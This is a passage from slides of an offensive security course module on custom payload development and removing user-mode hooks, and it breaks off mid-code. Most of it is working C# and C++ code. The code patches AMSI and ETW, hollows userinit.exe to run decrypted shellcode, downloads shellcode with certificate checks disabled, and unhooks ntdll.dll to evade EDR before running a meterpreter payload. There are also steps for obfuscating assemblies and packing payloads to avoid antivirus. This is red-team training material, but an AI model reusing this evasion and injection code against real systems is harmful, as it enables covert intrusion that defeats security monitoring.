1.11 Custom Payload Development

public Int32 dwFlags = 0;


public Int16 wShowWindow = 0;
public Int16 cbReserved2 = 0;
public IntPtr lpReserved2 = IntPtr.Zero;
public IntPtr hStdInput = IntPtr.Zero;
public IntPtr hStdOutput = IntPtr.Zero;
public IntPtr hStdError = IntPtr.Zero;
public StartupInfo() { this.cb = Marshal.SizeOf(this); }
}
// https://docs.microsoft.com/en-gb/windows/win32/procthread/process-creation-flags
[Flags]
public enum CreateProcessFlags : uint
{
DEBUG_PROCESS = 0x00000001,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
CREATE_SUSPENDED = 0x00000004,
DETACHED_PROCESS = 0x00000008,
CREATE_NEW_CONSOLE = 0x00000010,
NORMAL_PRIORITY_CLASS = 0x00000020,
IDLE_PRIORITY_CLASS = 0x00000040,
HIGH_PRIORITY_CLASS = 0x00000080,

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.251


1.11 Custom Payload Development

REALTIME_PRIORITY_CLASS = 0x00000100,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_FORCEDOS = 0x00002000,
BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
INHERIT_PARENT_AFFINITY = 0x00010000,
INHERIT_CALLER_PRIORITY = 0x00020000,
CREATE_PROTECTED_PROCESS = 0x00040000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
PROCESS_MODE_BACKGROUND_END = 0x00200000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NO_WINDOW = 0x08000000,
PROFILE_USER = 0x10000000,
PROFILE_KERNEL = 0x20000000,
PROFILE_SERVER = 0x40000000,
CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000,
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.252


1.11 Custom Payload Development

// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
[DllImport("kernel32")]
public static extern IntPtr CreateProcessA(String lpApplicationName, String lpCommandLine,
SecurityAttributes lpProcessAttributes, SecurityAttributes lpThreadAttributes,
Boolean bInheritHandles, CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment,
String lpCurrentDirectory, [In] StartupInfo lpStartupInfo,
out ProcessInformation lpProcessInformation);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
[DllImport("kernel32")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize,
UInt32 flAllocationType, UInt32 flProtect);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
[DllImport("kernel32")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.253


1.11 Custom Payload Development

// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
[DllImport("kernel32")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
IntPtr lpThreadId);
// https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
// https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
// https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-freelibrary
public static extern bool FreeLibrary(IntPtr hModule);
// https://docs.microsoft.com/en-us/windows/console/getconsolewindow
[DllImport("kernel32")]
public static extern IntPtr GetConsoleWindow();
// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
[DllImport("user32")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.254


1.11 Custom Payload Development

// https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights
public static int PROCESS_CREATE_THREAD = 0x0002;
public static int PROCESS_QUERY_INFORMATION = 0x0400;
public static int PROCESS_VM_OPERATION = 0x0008;
public static int PROCESS_VM_WRITE = 0x0020;
public static int PROCESS_VM_READ = 0x0010;
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
public static UInt32 MEM_COMMIT = 0x1000;
public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static UInt32 PAGE_EXECUTE_READ = 0x20;
public static UInt32 PAGE_READWRITE = 0x04;
public static int SW_HIDE = 0;
}
public class Encrypt
{
public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.255


1.11 Custom Payload Development

var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);


AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
}
public class EVASION
{
// ASB Patches
static byte[] amsix64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
static byte[] amsix86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
// EtwEventWrite Patches
static byte[] etwx64 = new byte[] { 0x48, 0x33, 0xc0, 0xc3 };
static byte[] etwx86 = new byte[] { 0x33, 0xc0, 0xc2, 0x14, 0x00 };

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.256


1.11 Custom Payload Development

private static string decode(string b64encoded)


{
return System.Text.ASCIIEncoding.ASCII.GetString(System.Convert.FromBase64String(b64encoded));
}
public static void PatchAll()
{
PatchETW();
PatchASB();
}
public static void PatchETW()
{
if (IntPtr.Size == 8)
{
// 64 bits process
Console.WriteLine("[>] 64-bits Process");
PatchMem(etwx64, "nt" + "dll" + "." + "dll", "RtlInitializeResource", 0x1ed60); // 0x1ed60 to EtwEventWrite
}
else
{
// 32 bits process
Console.WriteLine("[>] 32-bits Process");
PatchMem(etwx86, "nt" + "dll" + "." + "dll", "RtlInitializeResource", 0x590); // 0x590 to EtwEventWrite
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.257


1.11 Custom Payload Development
public static void PatchASB()
{
string dll = decode("YW1zaS5kbGw=");
if (IntPtr.Size == 8)
{
// 64 bits process
Console.WriteLine("[>] 64-bits Process");
PatchMem(amsix64, dll, "DllGetClassObject", 0xcb0); // 0xcb0 to AmsiScanBuffer
}
else
{
// 32 bits process
Console.WriteLine("[>] 32-bits Process");
PatchMem(amsix86, dll, "DllGetClassObject", 0x970); // 0x970 to AmsiScanBuffer
}
}
private static void PatchMem(byte[] patch, string library, string function, Int64 offset = 0)
{
try
{
uint newProtect;
uint oldProtect;
// Get library address
IntPtr libPtr = Win32.LoadLibrary(library);
Console.WriteLine("[>] {0}: 0x{1}", library, libPtr.ToString("X"));

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.258


1.11 Custom Payload Development
// Get function address
IntPtr functionPtr = Win32.GetProcAddress(libPtr, function);
// Jump to the real function address if offset is used
if (offset != 0)
{
functionPtr = new IntPtr(functionPtr.ToInt64() + offset);
Console.WriteLine("[>] {0} + 0x{1} address: 0x{2}", function, offset.ToString("X"), functionPtr.ToString("X"));
}
else { Console.WriteLine("[>] {0} address: 0x{1}", function, functionPtr.ToString("X")); }
// Change memory permissions to PAGE_EXECUTE_READWRITE
Win32.VirtualProtect(functionPtr, (UIntPtr)patch.Length, 0x40, out oldProtect);
// Patch function
Marshal.Copy(patch, 0, functionPtr, patch.Length);
// Restore memory permissions
Win32.VirtualProtect(functionPtr, (UIntPtr)patch.Length, oldProtect, out newProtect);
Win32.FreeLibrary(libPtr);
Console.WriteLine("[+] Patch Done");
}
catch (Exception e)
{
Console.WriteLine(" [!] {0}", e.Message);
Console.WriteLine(" [!] {0}", e.InnerException);
}
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.259


1.11 Custom Payload Development

public class Program


{
public static void Hollow(string targetBinaryPath, byte[] shellcode)
{
// Local variables
Int32 size = shellcode.Length;
Win32.StartupInfo sInfo = new Win32.StartupInfo();
sInfo.dwFlags = 0;
Win32.ProcessInformation pInfo;
// Create the process with CREATE_SUSPENDED flag
IntPtr funcAddr = Win32.CreateProcessA(targetBinaryPath, null, null, null, true,
Win32.CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo);
IntPtr hProcess = pInfo.hProcess;
// Allocate memory for the shellcode
IntPtr spaceAddr = Win32.VirtualAllocEx(hProcess, new IntPtr(0), size, Win32.MEM_COMMIT,
Win32.PAGE_READWRITE);
// Write shellcode into allocated memory
bool bWrite = Win32.WriteProcessMemory(hProcess, spaceAddr, shellcode, (IntPtr)size, 0);
// Change memory permission to PAGE_EXECUTE_READ
uint oldProtect;
Win32.VirtualProtectEx(hProcess, spaceAddr, (UIntPtr)shellcode.Length, Win32.PAGE_EXECUTE_READ, out oldProtect);
Console.WriteLine("[>] Executing Shellcode in {0} with PID {1}", targetBinaryPath, pInfo.dwProcessId);
// Execute shellcode
Win32.CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.260


1.11 Custom Payload Development

public static byte[] downloader(string shellcode_url)


{
// Downloads data from an url and return its content
WebClient wc = new WebClient();
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60 .0.3112.113
Safari/537.36");
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
// Ignore Certificate Check, remove on production!
// https://stackoverflow.com/questions/12506575/how-to-ignore-the-certificate-check-when-ssl
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
// End of ignore Certificate Check
byte[] shellcode = wc.DownloadData(shellcode_url);
return shellcode;
}
public static void Main()
{
EVASION.PatchAll();
Console.ReadKey();
// Hide Process Window
//var handle = Win32.GetConsoleWindow();
//Win32.ShowWindow(handle, Win32.SW_HIDE);
byte[] sc = new byte[<SHELLCODE_SIZE>] { <SHELLCODE> };
byte[] password = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("Sup3rS3cr3t!"));
Console.WriteLine("[<] {0} Bytes Downloaded!", sc.Length);

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.261


1.11 Custom Payload Development

sc = Encrypt.AES_Decrypt(sc, password);
Console.WriteLine("[+] Decrypted shellcode size: {0}", sc.Length);
// Target Binary
string targetBinaryPath = @"C:\\Windows\\System32\\userinit.exe";
// Process Hollowing
Hollow(targetBinaryPath, sc);
Console.ReadKey();
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.262


1.11 Custom Payload Development

Obfuscating .NET Assemblies


Preemptive Dotfuscator can be installed as an individual
component in Visual Studio. This tool helps to obfuscate
.NET assemblies to avoid being detected by basic AV
signatures.

https://www.preemptive.com/products/dotfuscator/overview PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.263


1.11 Custom Payload Development

To obfuscate a .NET
assembly, open Visual Studio
and click on Tools >
PreEmptive Protection –
Dotfuscator.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.264


1.11 Custom Payload Development

Head to input and add the .NET assemblies you want to


obfuscate.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.265
1.11 Custom Payload Development

Once it finishes a new obfuscated version of the .NET assembly will be


available under the Dotfuscated subfolder that has been created in the
same path the original assembly is located.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.266
1.11 Custom Payload Development

Two mandatory resources to advance your custom payload


development capabilities are:
• Emulating Covert Operations –Dynamic Invocation
(Avoiding Pinvoke & API Hooks)
• Operational Challenges in Offensive C#

https://thewover.github.io/Dynamic-Invoke/
https://cobbr.io/SharpGen.html PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.267
1.12

Removing User-
Mode Hooks

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.268


1.12 Removing User-Mode Hooks

API Unhooking
Removing user-mode hooks can be done by mimicking the
Windows loader to load a replica of each DLLs and EXEs
from the hard drive and comparing them to the image
currently present in memory to see if functions have been
modified.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.269


1.12 Removing User-Mode Hooks

By comparing byte-exact replica to the original images, when


changes are detected, the code will restore the section present in
memory with the section loaded from disk. As a result, all hooks
installed will be removed.

Cylance's ReflectiveDLLRefresher can be used to unhook


processes in different ways. For using it we need to clone using
git and compile using Visual Studio the following repository:
• https://github.com/CylanceVulnResearch/ReflectiveDLLRefre
sher.git
https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher
https://git-scm.com/downloads PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.270
1.12 Removing User-Mode Hooks

Clone the repository using git via:

PS > git clone


https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher.git

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.271


1.12 Removing User-Mode Hooks

Open
ReflectiveDLLRefresher.sln
and if needed, right click
into the solution and press
over "retarget solution" to
upgrade it to the installed
Visual C++ platform toolset.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.272


1.12 Removing User-Mode Hooks

Change from Debug to Release and click into Build menu


and Build Solution. Alternatively Ctrl+Shift+B can be used.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.273


1.12 Removing User-Mode Hooks

Under the x64/Release


subfolder we should have
now three files that will be
used later:
• DLLRefresher.x64.exe
• Inject.x64.exe
• ReflectiveDLLRefresher.
x64.exe
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.274
1.12 Removing User-Mode Hooks

Repeat the process changing the architecture to x86 to


have both versions compiled.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.275
1.12 Removing User-Mode Hooks

A precompiled version can also be obtained from the Releases section.


Although it is recommended to always compile your own tradecraft, we
will use the modified UPX version from the releases to simplify the
process.
https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher/releases PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.276
1.12 Removing User-Mode Hooks

DLLRefresher
DllRefresher is a standalone binary that can be used for scanning the
process's memory space and unhooking the currently loaded libraries.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.277
1.12 Removing User-Mode Hooks

Inject
Inject will reflectively load the ReflectiveDLLRefresher.dll into a
specified process. Loading the DLL will scan the process
memory space and unhook the currently loaded libraries.

PS > inject.x64.exe <PID> <DLL_PATH>

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.278


1.12 Removing User-Mode Hooks

UPX
A modified UPX version has been included in ReflectiveDLLRefresher
package. This UPX version has the ability to embed a dll into the packet
binary. The resulted packed binary will unpack the target executable in
memory and call the embedded DLL before going to the original
executable entry point. This can be used in conjunction with the
ReflectiveDLLRefresher DLL and our payloads to unhook them.

PS > upx.exe –o <OUTPUT_FILE> -X <DLL_PATH> <EXECUTABLE>

https://github.com/CylanceVulnResearch/upx/tree/reflective_dll PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.279


1.12 Removing User-Mode Hooks

Metasploit-loader can be used in conjunction to the


ReflectiveDLLRefresher to achieve an unhooked meterpreter
session.
https://github.com/rsmudge/metasploit-loader PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.280
1.12 Removing User-Mode Hooks

ReflectiveDLLRefresher.dll can
also be used with Metasploit
Reflective dLL Injection module
to unhook remote processes by
just specifying the target's
process ID,
ReflectiveDLLRefresher path and
the session where we want to
run the module.

https://www.rapid7.com/db/modules/post/windows/manage/reflective_dll_inject PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.281


1.12 Removing User-Mode Hooks

ReflectiveDLLRefresher to shellcode
Shellcode Reflective DLL Injection allows to convert DLL
files to position independent shellcode.

With this shellcode we can unhook local or remote


processes before injecting the final payload.

https://github.com/monoxgas/sRDI PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.282


1.12 Removing User-Mode Hooks
To use the ReflectiveDLLRefresher with some of our previous
examples we need to convert the DLL to position independent
shellcode and encrypt the shellcode as we have done before.

# Clone the sRDI repository


~ git clone https://github.com/monoxgas/sRDI.git
# Convert the DLL to Position Independent Shellcode
sRDI/Python~ python3 ConvertToShellcode.py <PATH_TO_DLL>
# Encrypt the shellcode
~ mono 2_aes_encryption.exe <PATH_TO_SHELLCODE>

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.283


1.12 Removing User-Mode Hooks

Now we need to implement a shellcode loader performing


the following operations:
• Decrypt and execute the ReflectiveDLLRefresher position
independent shellcode.
• Decrypt and execute the meterpreter payload

This can be done repurposing one of the previous payload


development examples.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.284
1.12 Removing User-Mode Hooks

Create a new Console App (.NET Framework) project in


Visual Studio.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.285
1.12 Removing User-Mode Hooks

Give it a name and make


sure you target .NET
Framework 3.5.

This should be the


preferred option for all
the payloads if .NET 3.5
is present on the target's
environment.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.286
1.12 Removing User-Mode Hooks
Create a new public class Win32
containing the Windows API
functions needed.

These will be:


• VirtualAlloc
• VirtualProtect
• CreateThread
• WaitForSingleObject
• GetConsoleWindow
• ShowWindow

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.287


1.12 Removing User-Mode Hooks

Add a public class, Encrypt containing the AES_Decrypt


function needed to decrypt the shellcodes.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.288


1.12 Removing User-Mode Hooks

Create the Program class


where the first function will be
UnHook.

This function will contain the


encrypted DLL shellcode in a
byte array (L-70), the shellcode
will be decrypted in the
function (L71-72) and then
injected and executed into the
current process's memory
(L73-85).
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.289
1.12 Removing User-Mode Hooks

The next function, RunShellcode will accept a byte array


containing the decrypted shellcode, inject it into the current
process's memory, execute it and wait for it to complete
before exiting.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.290
1.12 Removing User-Mode Hooks

The main function will call the UnHook function, this will
remove any hook included in the process, then it will
decrypt and run the provided shellcode.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.291
1.12 Removing User-Mode Hooks

Select Release, Any CPU and build the solution by clicking


in Build Menu>Build Solution.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.292


1.12 Removing User-Mode Hooks

Once executed in the target's computer, it will unhook the


current process and inject a meterpreter shellcode in
memory.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.293


1.12 Removing User-Mode Hooks
Code:

using System;
using System.IO;
using System.Net;
using System.Text;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

public class Win32


{
// https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")]
public static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size,
UInt32 flAllocationType, UInt32 flProtect);
// https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
public static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize,
UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.294


1.12 Removing User-Mode Hooks

// https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint
lpflOldProtect);
// https://docs.microsoft.com/en-us/windows/console/getconsolewindow
[DllImport("kernel32")]
public static extern IntPtr GetConsoleWindow();
// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
[DllImport("user32")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
// Variables
public static UInt32 MEM_COMMIT = 0x1000;
public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static UInt32 PAGE_EXECUTE_READ = 0x20;
public static UInt32 PAGE_READWRITE = 0x04;
public static int SW_HIDE = 0;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.295


1.12 Removing User-Mode Hooks
public class Encrypt
{
public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.296


1.12 Removing User-Mode Hooks

public class Program


{
public static void UnHook()
{
// decrypt shellcode
byte[] shellcode = new byte[<SHELLCODE_SIZE>] { <DLL_SHELLCODE> };
byte[] password = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("Sup3rS3cr3t!"));
shellcode = Encrypt.AES_Decrypt(shellcode, password);
// Allocate process memory with PAGE_READWRITE permissions
UInt32 codeAddr = Win32.VirtualAlloc(0, (UInt32)shellcode.Length, Win32.MEM_COMMIT, Win32.PAGE_READWRITE);
// Copy shellcode into the allocated memory
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
// Change memory permissions to PAGE_EXECUTE_READ
uint oldProtect;
Win32.VirtualProtect((IntPtr)codeAddr, (UIntPtr)shellcode.Length, Win32.PAGE_EXECUTE_READ, out oldProtect);
// Execute shellcode
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = Win32.CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.297


1.12 Removing User-Mode Hooks

public static void RunShellcode(byte[] shellcode)


{
// Allocate process memory with PAGE_READWRITE permissions
UInt32 codeAddr = Win32.VirtualAlloc(0, (UInt32)shellcode.Length, Win32.MEM_COMMIT, Win32.PAGE_READWRITE);
// Copy shellcode into the allocated memory
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
// Change memory permissions to PAGE_EXECUTE_READ
uint oldProtect;
Win32.VirtualProtect((IntPtr)codeAddr, (UIntPtr)shellcode.Length, Win32.PAGE_EXECUTE_READ, out oldProtect);
// Execute shellcode
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = Win32.CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
// Wait for the thread to finish
Win32.WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.298


1.12 Removing User-Mode Hooks

public static void Main()


{
// Hide Window
IntPtr hWindow = Win32.GetConsoleWindow();
Win32.ShowWindow(hWindow, Win32.SW_HIDE);
// Unhook Process
Console.WriteLine("[+] Unhooking process");
UnHook();
// Execute shellcode
byte[] shellcode = new byte[<SHELLCODE_SIZE>] { <SHELLCODE> };
byte[] password = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("Sup3rS3cr3t!"));
shellcode = Encrypt.AES_Decrypt(shellcode, password);
Console.WriteLine("[+] Decrypted shellcode size: {0}", shellcode.Length);
Console.WriteLine("[!] Executing shellcode!");
RunShellcode(shellcode);
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.299


1.12 Removing User-Mode Hooks

Unhooking ntdll.dll
Ntdll.dll loaded in memory can be totally unhooked by
reading the .text section of the file from disk and replacing
the .text section of the ntdll.dll currently mapped in
memory.

This technique is helpful against EDR solutions that rely on


userland API hooking.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.300
1.12 Removing User-Mode Hooks

Open Visual Studio and create a new C++ Console APP


project.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.301
1.12 Removing User-Mode Hooks

Create a new void function called unhook.

This function will:


1. Map an ntdll.dll copy from disk to the
process memory
2. Find the virtual address of the .text
section from the hooked ntdll.dll
3. Find the virtual address of the
mapped ntdll.dll from the hard drive
4. Change the memory protections of
the hooked module's .text version
5. Restore the .text version from the
ntdll.dll mapped from the hard drive.
6. Restore memory protections to the
unhooked .text section

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.302


1.12 Removing User-Mode Hooks

Create a new void function called


executeshellcode.

This function will:


1. Hold the shellcode into an array.
2. Allocate memory for the
shellcode with
PAGE_READWRITE permissions
3. Copy the shellcode to the
allocated memory
4. Change memory permissions to
PAGE_EXECUTE_READ.
5. Execute the shellcode.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.303


1.12 Removing User-Mode Hooks

The main function will wait for enter to call the unhook
function and once the ntdll.dll has been unhooked, pressing
enter again will execute the shellcode.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.304


1.12 Removing User-Mode Hooks

Change the solution configuration to release and build via


Ctrl + Shift + B or via Build>Build Solution.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.305
1.12 Removing User-Mode Hooks

Once executed we can observe CreateFile, CreateFileMapping and Load Image


operations performed to restore any hooks before running the shellcode.

Note: Remember to encrypt the shellcodes to avoid been detected by AV signatures.


PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.306
1.12 Removing User-Mode Hooks
Code:

#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>

void unhook()
{
// Unhook ntdll.dll
HANDLE process = GetCurrentProcess();
MODULEINFO mi = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");

GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));


LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.307


1.12 Removing User-Mode Hooks

PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;


PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {


PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader)
+ ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader-
